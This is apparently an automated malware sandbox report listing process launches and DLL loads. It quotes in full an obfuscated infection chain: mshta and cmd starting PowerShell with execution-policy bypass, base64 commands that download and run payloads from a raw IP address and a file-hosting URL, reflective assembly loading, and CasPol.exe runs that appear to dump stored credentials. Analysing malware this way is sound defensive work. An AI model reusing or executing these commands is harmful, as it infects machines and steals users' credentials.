                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAA05.tmp" "c:\Users\user\AppData\Local\Temp\oerqobky\CSC7CE8CD1AF8FA450C9BA47DDDFCB379F.TMP"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajo
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\mkrbfyryejtjdkianmbpxiuuhuj"
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\xmeuxqcasrlooyxewxwrivodiitksr"
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\zhjnyjntozdtqflifiikliburpktlcmpbo"
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"Jump to behavior
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.cmdline"Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS" Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES82B7.tmp" "c:\Users\user\AppData\Local\Temp\1012d3sk\CSC185E2CF02A494FD98EB3E2DDFFB62AF5.TMP"Jump to behavior
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"Jump to behavior
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajoJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"Jump to behavior
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\oerqobky\oerqobky.cmdline"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS"
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAA05.tmp" "c:\Users\user\AppData\Local\Temp\oerqobky\CSC7CE8CD1AF8FA450C9BA47DDDFCB379F.TMP"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajo
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\mkrbfyryejtjdkianmbpxiuuhuj"
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\xmeuxqcasrlooyxewxwrivodiitksr"
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\zhjnyjntozdtqflifiikliburpktlcmpbo"
                Source: C:\Windows\System32\mshta.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dwmapi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: rpcrtremote.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: webio.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dhcpcsvc6.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dhcpcsvc.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: nlaapi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: oleacc.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: sxs.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: credssp.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: ncrypt.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: bcrypt.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: scrrun.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: msls31.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: d2d1.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dwrite.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dxgi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: d3d11.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: d3d10warp.dllJump to behavior
                Source: C:\Windows\System32\cmd.exeSection loaded: winbrand.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
